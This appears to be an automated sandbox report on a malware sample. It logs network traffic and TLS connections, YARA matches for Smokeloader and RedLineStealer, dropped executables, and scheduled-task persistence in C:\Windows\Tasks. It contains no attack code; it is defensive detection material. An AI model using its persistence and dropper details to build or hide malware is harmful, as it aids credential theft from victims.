Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000021.00000003.3173677413.00000169CBD19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000021.00000003.3370039347.00000169CBD7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3336782696.00000169D38F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3172465493.00000169CBD7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3383948586.00000169CBD7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 59030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 59029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 58925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 54094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58925
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 58885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 58931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 59028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59072
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 58926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50278
Source: unknown	Network traffic detected: HTTP traffic on port 58938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50307 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54094
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59029
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59030
Source: unknown	Network traffic detected: HTTP traffic on port 50305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50300 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58879
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58877
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58882
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58884
Source: unknown	Network traffic detected: HTTP traffic on port 58877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58880
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 59027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59065
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58931
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 59031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50309
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50300
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50301
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59028
Source: unknown	Network traffic detected: HTTP traffic on port 58881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 143.204.215.18:443 -> 192.168.2.6:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:58880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:58879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:58877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:58878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:58881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:58882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:58884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:58885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:59072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.208.16.95:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50304 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50301 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50303 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50300 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50302 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50305 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50307 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50308 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50309 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:54094 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000025.00000002.3001198301.0000000004090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000025.00000002.3000226741.00000000025A0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2400576225.00000000024ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000014.00000002.2835940724.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000014.00000002.2836488033.000000000267E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2401105762.0000000004090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

PE file contains section with special chars

Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: RoamingBKJEGDGIJE.exe.0.dr	Static PE information: section name:
Source: RoamingBKJEGDGIJE.exe.0.dr	Static PE information: section name: .idata
Source: RoamingBKJEGDGIJE.exe.0.dr	Static PE information: section name:
Source: enter[1].exe.0.dr	Static PE information: section name:
Source: enter[1].exe.0.dr	Static PE information: section name: .idata
Source: enter[1].exe.0.dr	Static PE information: section name:
Source: RoamingIJEGDBGDBF.exe.0.dr	Static PE information: section name:
Source: RoamingIJEGDBGDBF.exe.0.dr	Static PE information: section name: .idata
Source: RoamingIJEGDBGDBF.exe.0.dr	Static PE information: section name:
Source: axplong.exe.6.dr	Static PE information: section name:
Source: axplong.exe.6.dr	Static PE information: section name: .idata
Source: axplong.exe.6.dr	Static PE information: section name:
Source: explorti.exe.9.dr	Static PE information: section name:
Source: explorti.exe.9.dr	Static PE information: section name: .idata
Source: explorti.exe.9.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CB9B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CB9B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CB9B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CB3F280

Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	File created: C:\Windows\Tasks\axplong.job			Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	File created: C:\Windows\Tasks\explorti.job			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB335A0	0_2_6CB335A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB934A0	0_2_6CB934A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9C4A0	0_2_6CB9C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB46C80	0_2_6CB46C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB76CF0	0_2_6CB76CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3D4E0	0_2_6CB3D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5D4D0	0_2_6CB5D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB464C0	0_2_6CB464C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA542B	0_2_6CBA542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB75C10	0_2_6CB75C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB82C10	0_2_6CB82C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAAC00	0_2_6CBAAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA545C	0_2_6CBA545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB45440	0_2_6CB45440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB985F0	0_2_6CB985F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB70DD0	0_2_6CB70DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB60512	0_2_6CB60512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5ED10	0_2_6CB5ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4FD00	0_2_6CB4FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB94EA0	0_2_6CB94EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB55E90	0_2_6CB55E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9E680	0_2_6CB9E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3BEF0	0_2_6CB3BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4FEF0	0_2_6CB4FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA76E3	0_2_6CBA76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB99E30	0_2_6CB99E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB77E10	0_2_6CB77E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB85600	0_2_6CB85600
